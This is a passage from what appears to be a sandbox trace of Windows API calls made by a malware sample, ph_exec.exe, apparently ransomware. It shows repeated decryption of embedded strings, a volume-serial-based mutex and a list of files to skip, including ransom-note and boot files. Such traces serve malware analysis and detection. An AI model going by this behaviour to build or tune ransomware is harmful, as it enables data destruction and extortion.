hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b10550, pdwDataLen=0xc9f818 | out: pbData=0x2b10550, pdwDataLen=0xc9f818) returned 1 [0041.903] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0041.903] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b10578 [0041.903] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b114b8 [0041.903] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b111e0 [0041.903] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f7d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f83c | out: phKey=0xc9f83c*=0x10c8e50) returned 1 [0041.903] CryptSetKeyParam (hKey=0x10c8e50, dwParam=0x1, pbData=0xc9f824, dwFlags=0x0) returned 1 [0041.903] CryptDecrypt (in: hKey=0x10c8e50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b111e0, pdwDataLen=0xc9f7f0 | out: pbData=0x2b111e0, pdwDataLen=0xc9f7f0) returned 1 [0041.903] CryptDestroyKey (hKey=0x10c8e50) returned 1 [0041.903] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b111e0 | out: hHeap=0x2b10000) returned 1 [0041.903] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b10578, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0041.903] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b114b8 | out: hHeap=0x2b10000) returned 1 [0041.903] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b10550 | out: hHeap=0x2b10000) returned 1 [0041.903] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc9f8a4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc9f8a4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0041.903] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b10578 | out: hHeap=0x2b10000) returned 1 [0041.903] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x28) returned 0x2b10550 [0041.903] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b186c8 [0041.903] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f70c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f774 | out: phKey=0xc9f774*=0x10c92d0) returned 1 [0041.903] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0xc9f75c, dwFlags=0x0) returned 1 [0041.903] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b186c8, pdwDataLen=0xc9f728 | out: pbData=0x2b186c8, pdwDataLen=0xc9f728) returned 1 [0041.903] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0041.903] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b186e0 [0041.903] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f704, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f76c | out: phKey=0xc9f76c*=0x10c8e10) returned 1 [0041.903] CryptSetKeyParam (hKey=0x10c8e10, dwParam=0x1, pbData=0xc9f754, dwFlags=0x0) returned 1 [0041.903] CryptDecrypt (in: hKey=0x10c8e10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b186e0, pdwDataLen=0xc9f720 | out: pbData=0x2b186e0, pdwDataLen=0xc9f720) returned 1 [0041.903] CryptDestroyKey (hKey=0x10c8e10) returned 1 [0041.904] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b18698 [0041.904] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f6fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f764 | out: phKey=0xc9f764*=0x10c92d0) returned 1 [0041.904] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0xc9f74c, dwFlags=0x0) returned 1 [0041.904] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b18698, pdwDataLen=0xc9f718 | out: pbData=0x2b18698, pdwDataLen=0xc9f718) returned 1 [0041.904] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0041.904] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b186f8 [0041.904] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f6f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f75c | out: phKey=0xc9f75c*=0x10c9450) returned 1 [0041.904] CryptSetKeyParam (hKey=0x10c9450, dwParam=0x1, pbData=0xc9f744, dwFlags=0x0) returned 1 [0041.904] CryptDecrypt (in: hKey=0x10c9450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b186f8, pdwDataLen=0xc9f710 | out: pbData=0x2b186f8, pdwDataLen=0xc9f710) returned 1 [0041.904] CryptDestroyKey (hKey=0x10c9450) returned 1 [0041.904] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b111e0 [0041.904] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f754 | out: phKey=0xc9f754*=0x10c9450) returned 1 [0041.904] CryptSetKeyParam (hKey=0x10c9450, dwParam=0x1, pbData=0xc9f73c, dwFlags=0x0) returned 1 [0041.904] CryptDecrypt (in: hKey=0x10c9450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b111e0, pdwDataLen=0xc9f708 | out: pbData=0x2b111e0, pdwDataLen=0xc9f708) returned 1 [0041.904] CryptDestroyKey (hKey=0x10c9450) returned 1 [0041.904] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b18710 [0041.904] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f74c | out: phKey=0xc9f74c*=0x10c92d0) returned 1 [0041.904] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0xc9f734, dwFlags=0x0) returned 1 [0041.904] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b18710, pdwDataLen=0xc9f700 | out: pbData=0x2b18710, pdwDataLen=0xc9f700) returned 1 [0041.904] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0041.904] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x70) returned 0x2b114b8 [0041.904] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f6dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f744 | out: phKey=0xc9f744*=0x10c9450) returned 1 [0041.904] CryptSetKeyParam (hKey=0x10c9450, dwParam=0x1, pbData=0xc9f72c, dwFlags=0x0) returned 1 [0041.904] CryptDecrypt (in: hKey=0x10c9450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b114b8, pdwDataLen=0xc9f6f8 | out: pbData=0x2b114b8, pdwDataLen=0xc9f6f8) returned 1 [0041.904] CryptDestroyKey (hKey=0x10c9450) returned 1 [0041.904] htonl (hostlong=0xb4197730) returned 0x307719b4 [0041.904] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x20, pbBuffer=0xc9f838 | out: pbBuffer=0xc9f838) returned 1 [0041.904] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x28) returned 0x2b15298 [0041.904] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b18728 [0041.904] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x4) returned 0x2b11530 [0041.904] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x14) returned 0x2b10580 [0041.904] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b18740 [0041.904] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x80) returned 0x2b152c8 [0041.904] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b18758 [0041.904] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x82) returned 0x2b15350 [0041.904] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b18770 [0041.904] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x4) returned 0x2b18dc0 [0041.904] CryptGenRandom (in: hProv=0x10cc4e0, dwLen=0x55, pbBuffer=0xc9f7a2 | out: pbBuffer=0xc9f7a2) returned 1 [0041.904] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b186b0 [0041.904] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x80) returned 0x2b153e0 [0041.905] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b187a0 [0041.905] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x2) returned 0x2b18e40 [0041.905] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x4) returned 0x2b18cd0 [0041.905] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b18788 [0041.905] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x80) returned 0x2b15468 [0041.905] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b187d0 [0041.905] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x4) returned 0x2b18d50 [0041.905] RtlReAllocateHeap (Heap=0x2b10000, Flags=0x0, Ptr=0x2b18e40, Size=0x82) returned 0x2b154f0 [0041.905] RtlReAllocateHeap (Heap=0x2b10000, Flags=0x0, Ptr=0x2b18d50, Size=0x100) returned 0x2b18e80 [0041.905] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b187e8 [0041.905] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x82) returned 0x2b18f88 [0041.905] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b18800 [0041.905] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x82) returned 0x2b19018 [0041.905] RtlReAllocateHeap (Heap=0x2b10000, Flags=0x0, Ptr=0x2b154f0, Size=0x104) returned 0x2b190a8 [0041.905] RtlReAllocateHeap (Heap=0x2b10000, Flags=0x0, Ptr=0x2b18e80, Size=0x200) returned 0x2b191b8 [0041.906] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b18cd0 | out: hHeap=0x2b10000) returned 1 [0041.906] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b191b8 | out: hHeap=0x2b10000) returned 1 [0041.906] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b187d0 | out: hHeap=0x2b10000) returned 1 [0041.906] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b153e0 | out: hHeap=0x2b10000) returned 1 [0041.906] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b186b0 | out: hHeap=0x2b10000) returned 1 [0041.906] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15468 | out: hHeap=0x2b10000) returned 1 [0041.906] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b18788 | out: hHeap=0x2b10000) returned 1 [0041.906] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b190a8 | out: hHeap=0x2b10000) returned 1 [0041.906] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b187a0 | out: hHeap=0x2b10000) returned 1 [0041.906] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b18f88 | out: hHeap=0x2b10000) returned 1 [0041.906] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b187e8 | out: hHeap=0x2b10000) returned 1 [0041.906] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b19018 | out: hHeap=0x2b10000) returned 1 [0041.906] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b18800 | out: hHeap=0x2b10000) returned 1 [0041.906] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11530 | out: hHeap=0x2b10000) returned 1 [0041.906] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b18728 | out: hHeap=0x2b10000) returned 1 [0041.906] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15350 | out: hHeap=0x2b10000) returned 1 [0041.906] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b18758 | out: hHeap=0x2b10000) returned 1 [0041.906] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b152c8 | out: hHeap=0x2b10000) returned 1 [0041.906] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b18740 | out: hHeap=0x2b10000) returned 1 [0041.906] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b18dc0 | out: hHeap=0x2b10000) returned 1 [0041.906] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b18770 | out: hHeap=0x2b10000) returned 1 [0041.906] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15298 | out: hHeap=0x2b10000) returned 1 [0041.906] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b10580 | out: hHeap=0x2b10000) returned 1 [0041.906] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0xa4) returned 0x2b15298 [0041.906] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x66) returned 0x2b15348 [0041.906] RtlReAllocateHeap (Heap=0x2b10000, Flags=0x0, Ptr=0x2b15348, Size=0xca) returned 0x2b15348 [0041.906] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b187d0 [0041.906] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0xb40) returned 0x2b18e80 [0041.906] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f73c | out: phKey=0xc9f73c*=0x10c92d0) returned 1 [0041.906] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0xc9f724, dwFlags=0x0) returned 1 [0041.906] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b18e80, pdwDataLen=0xc9f6f0 | out: pbData=0x2b18e80, pdwDataLen=0xc9f6f0) returned 1 [0041.906] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0041.906] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b187e8 [0041.906] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f6cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f734 | out: phKey=0xc9f734*=0x10c8d90) returned 1 [0041.906] CryptSetKeyParam (hKey=0x10c8d90, dwParam=0x1, pbData=0xc9f71c, dwFlags=0x0) returned 1 [0041.906] CryptDecrypt (in: hKey=0x10c8d90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b187e8, pdwDataLen=0xc9f6e8 | out: pbData=0x2b187e8, pdwDataLen=0xc9f6e8) returned 1 [0041.906] CryptDestroyKey (hKey=0x10c8d90) returned 1 [0041.906] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b15420 [0041.907] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f70c | out: phKey=0xc9f70c*=0x10c92d0) returned 1 [0041.907] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0xc9f6f4, dwFlags=0x0) returned 1 [0041.907] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b15420, pdwDataLen=0xc9f6c0 | out: pbData=0x2b15420, pdwDataLen=0xc9f6c0) returned 1 [0041.907] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0041.907] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x84) returned 0x2b154b8 [0041.907] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x84) returned 0x2b1b090 [0041.907] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b1b530 [0041.907] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f67c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f6e4 | out: phKey=0xc9f6e4*=0x10c92d0) returned 1 [0041.907] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0xc9f6cc, dwFlags=0x0) returned 1 [0041.907] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b1b530, pdwDataLen=0xc9f698 | out: pbData=0x2b1b530, pdwDataLen=0xc9f698) returned 1 [0041.907] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0041.907] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b530 | out: hHeap=0x2b10000) returned 1 [0041.907] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0x2b154b8, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0041.907] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b090 | out: hHeap=0x2b10000) returned 1 [0041.907] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15420 | out: hHeap=0x2b10000) returned 1 [0041.907] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b10580 [0041.907] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f6a0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f708 | out: phKey=0xc9f708*=0x10c92d0) returned 1 [0041.907] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0xc9f6f0, dwFlags=0x0) returned 1 [0041.907] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b10580, pdwDataLen=0xc9f6bc | out: pbData=0x2b10580, pdwDataLen=0xc9f6bc) returned 1 [0041.907] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0041.907] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x18) returned 0x2b15548 [0041.907] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x18) returned 0x2b15568 [0041.907] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b15420 [0041.907] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f6e0 | out: phKey=0xc9f6e0*=0x10c92d0) returned 1 [0041.907] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0xc9f6c8, dwFlags=0x0) returned 1 [0041.907] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b15420, pdwDataLen=0xc9f694 | out: pbData=0x2b15420, pdwDataLen=0xc9f694) returned 1 [0041.907] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0041.907] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15420 | out: hHeap=0x2b10000) returned 1 [0041.907] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0x2b15548, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0041.907] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15568 | out: hHeap=0x2b10000) returned 1 [0041.907] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b10580 | out: hHeap=0x2b10000) returned 1 [0041.907] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20a) returned 0x2b1b530 [0041.907] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20a) returned 0x2b1b748 [0041.907] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2b1b748, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe")) returned 0x23 [0041.908] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b748 | out: hHeap=0x2b10000) returned 1 [0041.908] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0xb38) returned 0x2b1b748 [0041.908] GetLastError () returned 0x0 [0041.908] RtlReAllocateHeap (Heap=0x2b10000, Flags=0x0, Ptr=0x2b1ad30, Size=0x9e) returned 0x2b1c288 [0041.908] GetLastError () returned 0x0 [0041.909] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x4a8 Thread: id = 3 os_tid = 0x7fc [0031.625] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b111e0 [0031.625] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc28 | out: phKey=0x2cefc28*=0x10c92d0) returned 1 [0031.625] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2cefc10, dwFlags=0x0) returned 1 [0031.625] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b111e0, pdwDataLen=0x2cefbdc | out: pbData=0x2b111e0, pdwDataLen=0x2cefbdc) returned 1 [0031.625] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0031.625] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b11208 [0031.625] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b11230 [0031.625] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b11258 [0031.625] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefb98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc00 | out: phKey=0x2cefc00*=0x10c92d0) returned 1 [0031.625] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2cefbe8, dwFlags=0x0) returned 1 [0031.625] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11258, pdwDataLen=0x2cefbb4 | out: pbData=0x2b11258, pdwDataLen=0x2cefbb4) returned 1 [0031.625] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0031.625] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11258 | out: hHeap=0x2b10000) returned 1 [0031.625] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b11208, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0031.625] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11230 | out: hHeap=0x2b10000) returned 1 [0031.625] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b111e0 | out: hHeap=0x2b10000) returned 1 [0031.625] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cefc68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cefc68*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0031.626] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11208 | out: hHeap=0x2b10000) returned 1 [0031.626] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b111e0 [0031.626] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc5c | out: phKey=0x2cefc5c*=0x10c9090) returned 1 [0031.626] CryptSetKeyParam (hKey=0x10c9090, dwParam=0x1, pbData=0x2cefc44, dwFlags=0x0) returned 1 [0031.626] CryptDecrypt (in: hKey=0x10c9090, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b111e0, pdwDataLen=0x2cefc10 | out: pbData=0x2b111e0, pdwDataLen=0x2cefc10) returned 1 [0031.626] CryptDestroyKey (hKey=0x10c9090) returned 1 [0031.626] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b11228 [0031.626] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x0 [0031.626] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1030B419773000") returned 0x21c [0031.626] WaitForSingleObject (hHandle=0x21c, dwMilliseconds=0x0) returned 0x0 [0031.626] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b111e0 | out: hHeap=0x2b10000) returned 1 [0031.626] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11228 | out: hHeap=0x2b10000) returned 1 [0031.626] ReleaseMutex (hMutex=0x21c) returned 1 [0031.626] CloseHandle (hObject=0x21c) returned 1 [0031.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xcd1f44, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c [0031.627] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b111e0 [0031.627] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefbc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc28 | out: phKey=0x2cefc28*=0x10c9090) returned 1 [0031.627] CryptSetKeyParam (hKey=0x10c9090, dwParam=0x1, pbData=0x2cefc10, dwFlags=0x0) returned 1 [0031.627] CryptDecrypt (in: hKey=0x10c9090, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b111e0, pdwDataLen=0x2cefbdc | out: pbData=0x2b111e0, pdwDataLen=0x2cefbdc) returned 1 [0031.627] CryptDestroyKey (hKey=0x10c9090) returned 1 [0031.627] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b11208 [0031.627] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b11230 [0031.627] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b11258 [0031.627] CryptImportKey (in: hProv=0x10b66e0, pbData=0x2cefb98, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cefc00 | out: phKey=0x2cefc00*=0x10c92d0) returned 1 [0031.627] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0x2cefbe8, dwFlags=0x0) returned 1 [0031.627] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11258, pdwDataLen=0x2cefbb4 | out: pbData=0x2b11258, pdwDataLen=0x2cefbb4) returned 1 [0031.627] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0031.627] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11258 | out: hHeap=0x2b10000) returned 1 [0031.627] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b11208, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0031.627] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11230 | out: hHeap=0x2b10000) returned 1 [0031.627] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b111e0 | out: hHeap=0x2b10000) returned 1 [0031.627] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cefc68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cefc68*=0xb4197730, 